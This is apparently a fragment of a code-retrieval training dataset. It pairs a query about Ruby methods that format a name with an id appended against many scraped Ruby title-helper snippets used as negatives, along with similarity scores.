\"\"\n puts \"\"\n puts \"\"\n puts \"\"\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif reader?(desc)\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def title\n @descriptive_detail.title\n end", "def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end", "def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end", "def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end", "def build_heading level\n heading = super\n\n @section = heading.text\n\n heading\n end", "def full_title subtitle\n\n\t\tbase = \"Codewatch.pl\"\n\n\t\tif not @company.nil?\n\t\t\tbase = @company.name + \" :: \" + base\n\t\tend\n\n\t\tif not @project.nil? and !@project.new_record?\n\t\t\tbase = @project.name + \" :: \" + base\n\t\tend\n\n\t\tif subtitle.blank?\n\t\t\tbase\n\t\telse\n\t\t\tsubtitle + \" :: \" + base\n\t\tend\n\tend", "def title\n @info[:Title]\n end", "def section_heading(label)\n \n \"#{label}\\n\"\n \n end", "def section_heading(label)\n \n \"#{label}\\n\"\n \n end", "def title\n base_title = \"S.Hukin ltd - Sheffield, UK. Speciality wholesale foods.\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def handle_title(name, attrs) \n \n end", "def title\n if detail_page?\n \"#{resource.name} - #{menu.name} - #{website_tag.name}\"\n else\n \"#{menu.name} - #{website_tag.name}\" \n end \n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif desc.is_reader?(@user) || in_admin_mode?\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def title\n base_title = \"Operation Paws for Homes\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def part_title\n self.has_part && self.has_part.title ? self.has_part.title : nil\n end", "def title\n name.gsub(/_/, ' ')\n end", "def page_title\n \"Changes Introduced by CMVC #{type}#{defect_name}\"\n end", "def format_title(what,options)\n what\n end", "def title\n @title ||= details.at(\"h1.header\").text.strip rescue nil\n end", "def h_title(text)\n\t\tcontent_for :title, text\n\tend", "def section\n return @section if @section\n\n @section = parent.add_section @section_title if parent\n end", "def start_section(level, title)\n end", "def display_resource(section)\n section.name\n end", "def title\n base_title = \"Read-O-Meter: Track your reading\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def set_title\n unless self.title\n if self.parent\n if last_untitled_page = self.parent.children.where(:title => /Untitled /i).asc(:title).last\n last_untitled_number = last_untitled_page.title.split(\" \").last.to_i\n self.title = \"Untitled #{last_untitled_number+1}\"\n else\n self.title = \"Untitled 1\"\n end\n else\n self.title = \"Untitled 1\"\n end\n end\n end", "def name; title end", "def full_name_with_title\n @title + \" \" + full_name\n end", "def title(title_name)\n h.content_tag :h2 do\n title_name.present? ? title_name : \"Perfis\"\n end\n end", "def text_name\n title.to_s.t.html_to_ascii\n end", "def first_title\n max_level = 6 # any title with a higher level kicks the current one out\n title = false\n @blocks.each do |block|\n if block.is_a?(Prismic::Fragments::StructuredText::Block::Heading)\n if block.level < max_level\n title = block.text\n max_level = block.level # new maximum\n end\n end\n end\n title\n end", "def title\n super.first || \"\"\n end", "def title\n super.first || \"\"\n end", "def title_comp; end", "def title_for string\n if @title\n \"#{@title} | #{string}\"\n else\n string\n end\n end", "def title_for string\n if @title\n \"#{@title} | #{string}\"\n else\n string\n end\n end", "def titleTest(index,object,section)\n endline = \"\\n\"\n sep = \"=================================================================\\n\"\n test = \"TEST [#{index}] #{object} : #{section}\\n\"\n \n puts endline + sep + test + sep\n end", "def short_title\n title\n end", "def full_title (page_title)\n\tbase_title = \"Recipository\"\n\n\nif page_title.empty?\n\t\tbase_title\n\telse\n\t\t\"#{base_title}\" | #{page_title}\"\n\tend\nend\nend", "def title\n [self.table[:title], subtitle].compact.join(': ')\n end", "def page_title\n \"CMVC #{type} #{defect_name}\"\n end", "def title\n @tagline unless name?\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def seo_title\n if meta_title.blank?\n root? ? name : \"#{root.name} - #{name}\"\n else\n meta_title\n end\n end", "def title_help \n\n\t\t#Define general page title\n\t\tbase_title = \"Rex Ruby on Rails Learning | PagesHelper\"\n\t\tif(@title.nil?)\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title = \"Rex Ruby on Rails Learning | #{@title} | PagesHelper\"\n\t\tend\n\tend", "def title\n base_title = \"H&H\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title_with_kind\n \"#{title} (#{kind})\"\n end", "def title(opts = {}, &block)\n build_sub_component :h5, :title, opts, &block\n end", "def display_title\n \"**#{title}**\"\n end", "def title\n base_title = \"StkUp - Simple, Purposeful Comparisons\"\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def title\n if file =~ /README.md/\n result = File.basename File.dirname(file)\n else\n result = File.basename(file,'.md')\n end\n result.tr '-', ' '\n end", "def title()\n @markdown_document.title()\n end", "def title\n name\n end", "def title\n name\n end", "def define_title\n @title = @deal.title\n @description = @deal.title + ' - ' + Deal.i18n_category(@deal.category)\n end", "def title\n base_title = \"Digital Library Management Tool\"\n if @title.nil?\n base_title\n else\n \"#{base_title}|#{@title}\"\n end\n end", "def title\n self.name.titleize\n end", "def full_title(page_title)\n page_title.blank? ? \"My Defi Pie\" : \"My Defi Pie | #{page_title}\"\n end", "def title\n #Flip off the part after the last dot, including that dot: find the filename without extensions\n fragments = @filename.split('.')\n fragments.pop\n title = fragments.join('.')\n\n return title.gsub(/[_]/, ' ').capitalize\n end", "def title\n @entry.at_xpath('.//cda:title').inner_text\n end" ]
[ "0.7618753", "0.73325616", "0.71713096", "0.70543045", "0.696058", "0.6904734", "0.6881225", "0.6843173", "0.67505443", "0.66713864", "0.6638759", "0.65846944", "0.6569284", "0.65415215", "0.64929587", "0.64789045", "0.6471072", "0.6471072", "0.6471072", "0.64535695", "0.6431472", "0.6407862", "0.63724744", "0.63704455", "0.63300425", "0.63142264", "0.63019454", "0.62617326", "0.6243358", "0.6238509", "0.6236828", "0.6232934", "0.62144464", "0.62135535", "0.619011", "0.6186303", "0.6163874", "0.61599725", "0.61412656", "0.6138867", "0.61361176", "0.61281204", "0.6125974", "0.6125974", "0.6120106", "0.6117899", "0.6117035", "0.6109939", "0.6109939", "0.6105649", "0.6089319", "0.6087467", "0.60561836", "0.6054088", "0.6035281", "0.6034777", "0.60339415", "0.6033723", "0.6029665", "0.60242975", "0.60221475", "0.6018478", "0.601628", "0.60124576", "0.6009475", "0.6003176", "0.60013825", "0.59995127", "0.59980905", "0.599353", "0.59835166", "0.59835166", "0.5973375", "0.5964706", "0.5964706", "0.59550416", "0.59396017", "0.5935064", "0.5929089", "0.5926053", "0.59255517", "0.592517", "0.592517", "0.592517", "0.5922931", "0.5919848", "0.5916257", "0.5915027", "0.59145117", "0.59125996", "0.59060836", "0.59059143", "0.58988714", "0.5898737", "0.5898737", "0.58978325", "0.58913237", "0.5888982", "0.5887669", "0.5875621", "0.5874306" ]
0.0
-1
Same as +text_name+ but with id tacked on.
def unique_text_name string_with_id(text_name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def text_id\n \"#{name} (##{id})\"\n end", "def unique_text_name\n text_name + \" (#{id || \"?\"})\"\n end", "def unique_text_name\n text_name + \" (#{id || \"?\"})\"\n end", "def unique_text_name\n real_text_name + \" (#{id || \"?\"})\"\n end", "def name\n return text_get(0, id)\n end", "def unique_text_name\n string_with_id(name.real_search_name)\n end", "def name\n text_get(6, @id)\n end", "def text_id\n \"#{title} (#{color})\"\n end", "def text_name\n name.to_s\n end", "def entire_name_with_id\r\n self.entire_full_name + \" (#{self.id})\"\r\n end", "def name_for(_name, _id=nil)\n n = \"#{@object_name}[#{_name}]\"\n n += \"[#{_id}]\" if _id\n end", "def name\n @name ||= parse_name(id.name)\n end", "def id2name() end", "def id2name() end", "def text_name\n if target\n if target.respond_to?(:real_text_name)\n target.real_text_name\n else\n target.text_name\n end\n else\n orphan_title.t.html_to_ascii.sub(/ (\\d+)$/, \"\")\n end\n end", "def text_name\n if target\n if target.respond_to?(:real_text_name)\n target.real_text_name\n else\n target.text_name\n end\n else\n orphan_title.t.html_to_ascii.sub(/ (\\d+)$/, \"\")\n end\n end", "def id\n name.gsub /-/, '_'\n end", "def unique_partial_text_name\n string_with_id(partial_text_name)\n end", "def id_for(_name, _id=nil)\n n = \"#{@object_name}_#{_name}\"\n n += \"_#{_id}\" if _id\n end", "def text_name\n put_together_name(:full).t.html_to_ascii\n end", "def unique_text_name\n if target\n target.unique_text_name\n else\n orphan_title.t.html_to_ascii\n end\n end", "def unique_text_name\n if target\n target.unique_text_name\n else\n orphan_title.t.html_to_ascii\n end\n end", "def name\n @name || @id.to_s.capitalize\n end", "def id\n name\n end", "def id\n name\n end", "def name_as_id\n self.name.downcase.gsub(/\\s/, '-')\n end", "def id\n name && name.gsub(' ', '').downcase\n end", "def text_name\n name ? name.real_search_name : \"\"\n end", "def display_name\n if original_name.nil?\n id\n else\n original_name.text.nil? ? id: original_name.text\n end\n end", "def label_with_id\n text_and_id( :label )\n end", "def label_with_id\n text_and_id( :label )\n end", "def label_with_id\n text_and_id( :label )\n end", "def label\n @name.to_s.empty? ? @id : @name\n end", "def name\n # The name must be a string\n id.to_s\n end", "def name=( n )\n self.id = ( n )\n end", "def id\n name.gsub(':', '-')\n end", "def set_name\n self.update(name: \"Large Washer ##{self.id}\") unless self.name\n end", "def id\n name\n end", "def append_name\n self.name = self.content\n end", "def identifier_string\n name\n end", "def generate_name(id)\n return GameData::Item[id].exact_name\n end", "def name\n id.to_s\n end", "def create_name_text\n Text.new(0, @name_window, 0, -Text::Util::FOY, 0, default_line_height, '')\n end", "def set_name\n self.update(name: \"Medium Washer ##{self.id}\") unless self.name\n end", "def name = (name)", "def rcpname(id); det.link(:text, \"#{id}\"); end", "def display_name\n \"#{id}\"\n end", "def partial_text_name\n put_together_name(:part).t.html_to_ascii\n end", "def name\n @name || object_id.to_s\n end", "def name\n id\n end", "def set_box_name(id, name)\n @names[id] = name.to_s\n end", "def name\n @name ? @name.to_s : unique_id\n end", "def name\n self._id.to_s\n end", "def send(text)\n super(\"#{@name}|#{text.to_s}\")\n end", "def id_to_name!\n @id_to_name = make_id_to_name\n self\n end", "def name(id)\n @id_to_name[id]\n end", "def generate_name\n self.name ||= header ? header.parameterize : id\n end", "def text_name\n title.to_s.t.html_to_ascii\n end", "def label\n \"#{@name} (#{@id})\"\n end", "def unique_id\n \"name-#{@language_id}-#{@name_id}\"\n end", "def identifier\n id || name || default_identifier\n end", "def record_text_for(name)\n (!@record.respond_to?(name) and name[0,1] == '_') ? '_record' : 'record'\nend", "def record_text_for(name)\n (!@record.respond_to?(name) and name[0,1] == '_') ? '_record' : 'record'\nend", "def handle_text(name, attrs)\n \n end", "def some_text_and_id( some_text, some_id )\n t = some_text.to_s\n i = some_id.nil? ? '' : \"[#{ some_id }]\"\n t + (( t.empty? || i.empty? ) ? '' : ' ' ) + i\n end", "def scaffold_name\n self[:name] or id\n end", "def unique_text_name\n title = all_subjects.map(&:text_name).uniq.sort.join(\" & \")\n if title.blank?\n :image.l + \" ##{id || \"?\"}\"\n else\n title + \" (#{id || \"?\"})\"\n end\n end", "def id\n super.to_s.tr('.', '_')\n end", "def id_for(field_name)\n if name = @form_args[:name]\n \"#{name}_#{field_name}\".downcase.gsub(/-/, '_')\n else\n \"form_#{field_name}\".downcase.gsub(/-/, '_')\n end\n end", "def id\n (read_property 'Id') || name\n end", "def display_name\n \"#{Target.type_of(self).titleize} #{id}\"\n end", "def identifier_string\n title\n end", "def identifier_string\n title\n end", "def name\n \"#{id}-#{company_name}\"\n end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def unique_format_name\n title + \" (#{id || \"?\"})\"\n end", "def create_html_id\n self.html_id = title.blank? ? \"element-unnamed\" : title.downcase.gsub!(/[^a-zA-Z0-9\\-_]+/, '-')\n end", "def new_name; end", "def name\n self.text =~ /^(.*)$/\n return $1\n end", "def name() return @name end", "def name() return @name end", "def input_text(name)\n field = field_content(name)\n id = field_id(name)\n {\n id: id,\n name: name,\n label: label(field, name),\n placeholder: prop(field, 'placeholder'),\n }\n end", "def initialize(text, id: nil)\n @text = text\n @id = id || generate_id\n end", "def display_name\n read_attribute :id\n end", "def css_id name\n attr \"##{name}\"\n end", "def identifier\n name.gsub(/[^A-Za-z0-9_]/, '_')\n end", "def identifier\n name.gsub(/[^A-Za-z0-9_]/, '_')\n end", "def unique_name(id)\n id.to_s\n end", "def name\n \"#{self[:user].strip} #{self[:engine_id]}\".strip\n end", "def text_method_for(obj)\n if obj.respond_to?(:name)\n :name\n else\n :to_s\n end\n end", "def link_text\n name\n end", "def id_to_name\n @id_to_name ||= build_hash('id', 'name')\n end", "def name(name = nil)\n @name_template = name if name\n @name_template\n end" ]
[ "0.7986982", "0.7801328", "0.7801328", "0.77976704", "0.7374158", "0.71130705", "0.70515335", "0.6913422", "0.6885908", "0.67652917", "0.67263186", "0.6708142", "0.66662306", "0.66662306", "0.6622879", "0.6621562", "0.6620743", "0.66189605", "0.66104853", "0.65862685", "0.655393", "0.655393", "0.6547262", "0.6461964", "0.6461964", "0.64612854", "0.64517367", "0.64377856", "0.6432581", "0.6390884", "0.6390884", "0.6390884", "0.63827395", "0.6381294", "0.63736844", "0.6351678", "0.6347493", "0.6331855", "0.630566", "0.6303808", "0.62911147", "0.62791544", "0.6276672", "0.6276181", "0.6275043", "0.6242869", "0.62165034", "0.6209106", "0.6179575", "0.61693305", "0.61536556", "0.6145145", "0.61390936", "0.6131807", "0.6072846", "0.5997686", "0.59879845", "0.59535015", "0.59434265", "0.5925825", "0.5918215", "0.59121627", "0.59121627", "0.5905217", "0.5891735", "0.5884904", "0.58758354", "0.5871268", "0.5859537", "0.58461434", "0.5844233", "0.58412826", "0.58412826", "0.5840924", "0.582839", "0.582839", "0.582839", "0.582839", "0.582839", "0.582839", "0.582839", "0.582839", "0.582449", "0.5823368", "0.5819854", "0.5818499", "0.5800695", "0.5800695", "0.57962036", "0.57909596", "0.57706225", "0.5768004", "0.5761162", "0.5761162", "0.57604676", "0.5760113", "0.5759204", "0.57552594", "0.57546073", "0.5752064" ]
0.7290618
5
Descriptive title including parent name, in Textileformatted text.
def format_name put_together_name(:full) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def title\n return \"\" unless parent\n Array(parent.title).first.to_s\n end", "def title_for_heading(parent_titles = Array.new)\n if parent_titles.length > 0\n [parent_titles, self.term_to_html(\"unittitle\")].join(\" >> \")\n else\n self.term_to_html(\"unittitle\")\n end\n end", "def full_title\n t = \"\"\n if parent\n t = parent.full_title + \"/\"\n end\n return t + title\n end", "def title\n @descriptive_detail.title\n end", "def display_title\n if !self.new_quote? && self.parent_quote.present?\n self.parent_quote.display_title + \" - v#{self.version_number}\"\n elsif self.new_quote? && self.title.present?\n self.title\n else\n 'No title'\n end\n end", "def name_with_title\n \"#{self.name}: #{self.title}\"\n end", "def title\n\t\tbase_title = title_extend\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend", "def title_name; end", "def text_name\n title.to_s.t.html_to_ascii\n end", "def ancestor_title(generation=1)\n\t\ttitle = case self.sex\n\t\twhen \"M\" then \"father\"\n\t\twhen \"F\" then \"mother\"\n\t\telse \"parent\"\n\t\tend\n\n\t\tcase generation\n\t\twhen 0 then \"self\"\n\t\twhen 1 then title\n\t\twhen 2 then \"grand\" + title\n\t\twhen 3 then \"great-grand\" + title\n\t\telse (generation-2).to_ordinal + \" great-grand\" + title\n\t\tend\n\tend", "def full_title\n name\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def title\n name.capitalize.bold.sub('_', ' ')\n end", "def title\n base_title = \"S.Hukin ltd - Sheffield, UK. Speciality wholesale foods.\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n\t base_title = \"Most epic website of all time, also celebrating beer.\"\n\t if @title.nil?\n\t base_title\n\t else\n\t \"#{base_title} | #{@title}\"\n\t end\n end", "def title\n @title ||= heirarchy.full_name\n end", "def title\n base_title = \"StkUp - Simple, Purposeful Comparisons\"\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def set_title\n unless self.title\n if self.parent\n if last_untitled_page = self.parent.children.where(:title => /Untitled /i).asc(:title).last\n last_untitled_number = last_untitled_page.title.split(\" \").last.to_i\n self.title = \"Untitled #{last_untitled_number+1}\"\n else\n self.title = \"Untitled 1\"\n end\n else\n self.title = \"Untitled 1\"\n end\n end\n end", "def get_title(n)\n description = Nokogiri::HTML(@description_xpath[n].text).text\n if description.include?(\"IF YOU GO\")\n description = description.split(\"IF YOU GO\")[1]\n if description.include?(\"Where\")\n title = description.split(\"Where\")[0]\n # Title must fit on single line\n title.gsub!(\"\\n\", \" \").strip!\n title\n else\n super(n)\n end\n else\n super(n)\n end\n end", "def title\n base_title = \"H&H\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Temple Baptist Church, White House, TN\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"An Andy Sharkey Production\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def show_embedded_description_title(desc, _parent)\n type = desc.type_tag\n title = description_title(desc)\n links = []\n if writer?(desc)\n links << link_with_query(:EDIT.t, action: \"edit_#{type}\", id: desc.id)\n end\n if is_admin?(desc)\n links << link_with_query(:DESTROY.t,\n { action: \"destroy_#{type}\", id: desc.id },\n data: { confirm: :are_you_sure.l })\n end\n content_tag(:p, content_tag(:big, title) + links.safe_join(\" | \"))\n end", "def title\n return super if block_given?\n\n @title || if show?\n content_tag('span', presenter.heading, itemprop: \"name\")\n else\n @view_context.link_to_document @document, counter: @counter, itemprop: 'name'\n end\n end", "def name; title end", "def title\n base_title = \"Team DIET Tracker\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Operation Paws for Homes\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif reader?(desc)\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def title_brief\n return '' unless @marc_record && @marc_record['245']\n subfieldA = @marc_record['245']['a'] || ''\n title = subfieldA.strip\n # return the cleaned up title\n trim_punctuation(title)\n end", "def title\n base_title = \"Read-O-Meter: Track your reading\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def get_title_description()\n\t\tif !self.building_number.nil?\n\t\t\tif self.title.include? self.building_number\n\t\t\t\treturn \"Building \" + self.building_number\n\t\t\telse\n\t\t\t\treturn \"Building \" + self.building_number + \"- \" + self.title\n\t\t\tend\n\t\telse\n\t\t\treturn self.title\n\t\tend\n\tend", "def title\n base_title = \"Reseau Social ESMT\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def full_name\n \"#{@parent.full_name}#{pretty_name}\"\n end", "def captioned_title\n %(#{@caption}#{title})\n end", "def detailed_description\n \"#{parent.detailed_description} #{description}\".strip\n end", "def title\n if @title.nil?\n BASE_TITLE\n else\n \"#{BASE_TITLE} | #{@title}\"\n end\n end", "def title\n base_title = \"Cliqs\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def title\n base_title = \"Bejben\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif desc.is_reader?(@user) || in_admin_mode?\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def full_name\n self.parent ? \"#{self.parent.name} (#{name})\" : name\n end", "def title\n self.summary\n end", "def title\n base_title = 'Statustar'\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Bibliocloud\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title_full\n \"#{djs} - #{@title}\"\n end", "def title\n base_title = \"Let Me Sing Now, llc\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Golo\"\n if@title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n super.first || \"\"\n end", "def title\n super.first || \"\"\n end", "def title_for string\n if @title\n \"#{@title} | #{string}\"\n else\n string\n end\n end", "def title_for string\n if @title\n \"#{@title} | #{string}\"\n else\n string\n end\n end", "def full_title\n \"#{namespace}:#{title}\"\n end", "def title\n base_title = t(\".base_title\", :default => \"peergroup\")\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{h(@title)}\"\n end\n end", "def title\n @entry.at_xpath('.//cda:title').inner_text\n end", "def title\n @entry.at_xpath('.//cda:title').inner_text\n end", "def full_name\n (@parent.nil? or not @parent.has_name?) ? @name : \"#{@parent.full_name}.#{@name}\"\n end", "def title\n # strip some non-breaking space at the end\n @title ||= details.at(\"h1[itemprop='name']\").children.first.text.strip.gsub(' ', '') rescue nil\n end", "def title\n [self.table[:title], subtitle].compact.join(': ')\n end", "def toc_title(item)\n case item.type\n when \"section\"\n if not item.heading or item.heading.empty?\n \"Section #{item.num}\" \n elsif item.num\n \"#{item.num} #{item.heading}\"\n else\n item.heading\n end\n when \"part\", \"chapter\"\n \"#{item.type.capitalize} #{item.num} - #{item.heading}\"\n else\n if item.heading? and !item.heading.empty?\n item.heading\n else\n s = item.type.capitalize\n s += \" #{item.num}\" if item.num\n s += \" - #{item.heading}\" if item.heading\n s\n end\n end\n end", "def title\n base_title = \"Soccer_League Manager\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n name.gsub(/_/, ' ')\n end", "def title\n base_title = \"Digital Library Management Tool\"\n if @title.nil?\n base_title\n else\n \"#{base_title}|#{@title}\"\n end\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def title\n raise NotImplementedError, 'Subclasses must implement a title method.'\n end", "def parent_name\n parent_info && parent_info.name\n end", "def name() title; end", "def name() title; end", "def full_name\n\t\t\tnames = [self.name]\n\t\t\tp = self.parent\n\t\t\twhile !p.nil? do\n\t\t\t\tnames << p.name\n\t\t\t\tp = p.parent\n\t\t\tend\n\t\t\tnames.reverse.join(\" > \")\n\t\tend", "def textual_title\n @record.title\n end", "def display_title\n \"**#{title}**\"\n end", "def display_name\n titre\n end", "def full_title subtitle\n\n\t\tbase = \"Codewatch.pl\"\n\n\t\tif not @company.nil?\n\t\t\tbase = @company.name + \" :: \" + base\n\t\tend\n\n\t\tif not @project.nil? and !@project.new_record?\n\t\t\tbase = @project.name + \" :: \" + base\n\t\tend\n\n\t\tif subtitle.blank?\n\t\t\tbase\n\t\telse\n\t\t\tsubtitle + \" :: \" + base\n\t\tend\n\tend", "def display_title\n\n if (subtype &&\n subtype[0] &&\n subtype[0] == \"#{SUBTYPE_BASE_URI}/party/person\")\n # People have names\n str = nil\n\n g = name_given\n if g && ! g.empty?\n str = g[0]\n end\n\n f = name_family\n if f && ! f.empty?\n if str\n str += \" #{f[0]}\"\n else\n str = f[0]\n end\n end\n\n if str\n return str\n end\n\n else\n # All others have titles\n\n t = title\n if t\n t = title[0]\n if t\n if t && ! t.blank?\n return t\n end\n end\n end\n end\n\n return '(untitled)'\n end", "def title()\n @markdown_document.title()\n end", "def title\n @tagline unless name?\n end", "def title\n @info[:Title]\n end", "def title\n base_title = \"Railstwitterclone\"\n if @title.nil?\n base_title\n else\n \"#{base_title} - #{@title}\"\n end\n end", "def first_title\n max_level = 6 # any title with a higher level kicks the current one out\n title = false\n @blocks.each do |block|\n if block.is_a?(Prismic::Fragments::StructuredText::Block::Heading)\n if block.level < max_level\n title = block.text\n max_level = block.level # new maximum\n end\n end\n end\n title\n end", "def name\n \"#{parent.name}:#{@name}\"\n end", "def title\n @category.split(':')[@depth-1].to_s.strip\n end", "def title\n base_title = \"LoveALLogy\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n @title ||= self.class.non_namespaced_classname\n end", "def display_name\n title.present? && title || _('Untitled')\n end", "def display_name\n return '' unless @research_output.is_a?(ResearchOutput)\n return \"#{@research_output.title[0..49]} ...\" if @research_output.title.length > 50\n\n @research_output.title\n end", "def page_title\n if content_for?(:page_title)\n \"#{content_for(:page_title)} - \"\n elsif !breadcrumb_names.empty?\n \"#{breadcrumb_names.reverse.join(' - ')} - \"\n else\n ''\n end +\n t('layout.coursemology')\n end", "def short_title\n title\n end", "def title\n [id, name].join(' ')\n end", "def title\n [super().presence, homepage.title].compact.join(' - ')\n end", "def title\n base_title = \"Design Request Form\"\n if @title.nil? #Could also be spelt as @title == 0\n base_title\n else\n \"#{base_title} | #{@title}\" \n end\n end", "def flatiron_title_descend_01\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n end", "def title\n name\n end", "def title\n name\n end", "def title\n @basename.wikify\n end", "def title\n values = super\n values = MetadataHelper.ordered( ordered_values: self.title_ordered, values: values )\n return values\n end", "def title\n values = super\n values = MetadataHelper.ordered( ordered_values: self.title_ordered, values: values )\n return values\n end", "def title\n title = \"#{name}\"\n title << \" #{quarter_offered.title}\" if quarter_offered\n title\n end", "def title\n if file =~ /README.md/\n result = File.basename File.dirname(file)\n else\n result = File.basename(file,'.md')\n end\n result.tr '-', ' '\n end", "def title( text, char )\n print( ( char * 76 ) + \"\\n#{text}\\n\" + ( char * 76 ) + \"\\n\" )\n end" ]
[ "0.78629124", "0.7790559", "0.76672196", "0.72764236", "0.71312565", "0.7124841", "0.7099834", "0.70995265", "0.70884734", "0.70606834", "0.7042991", "0.7042991", "0.7042991", "0.70378613", "0.699966", "0.698748", "0.69793", "0.69247895", "0.6917242", "0.6914277", "0.6846791", "0.68454045", "0.68434787", "0.6836999", "0.6823799", "0.6819321", "0.6817301", "0.6805191", "0.6804414", "0.6796145", "0.6789305", "0.6779614", "0.67760277", "0.6771506", "0.6770728", "0.6758577", "0.6758561", "0.6751437", "0.6748353", "0.67395097", "0.6737911", "0.6737812", "0.67370427", "0.6728485", "0.6725863", "0.6720498", "0.67197233", "0.67190856", "0.6718885", "0.6718885", "0.6714101", "0.6714101", "0.6703835", "0.6699578", "0.66934437", "0.66934437", "0.668029", "0.66768456", "0.6675606", "0.66753876", "0.66703683", "0.6668621", "0.6667841", "0.6665209", "0.6665209", "0.6665209", "0.6662753", "0.66596556", "0.6654417", "0.6654417", "0.6637905", "0.6632098", "0.663191", "0.6630174", "0.662596", "0.66174906", "0.6609957", "0.6606555", "0.6599464", "0.6597326", "0.65948987", "0.65941054", "0.65795803", "0.6566472", "0.6562306", "0.65484107", "0.6538894", "0.65364486", "0.65362126", "0.653072", "0.6525816", "0.6514871", "0.65108424", "0.6509609", "0.6509609", "0.64959794", "0.64958334", "0.64958334", "0.6493106", "0.64899254", "0.64839935" ]
0.0
-1
Same as +format_name+ but with id tacked on.
def unique_format_name string_with_id(format_name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
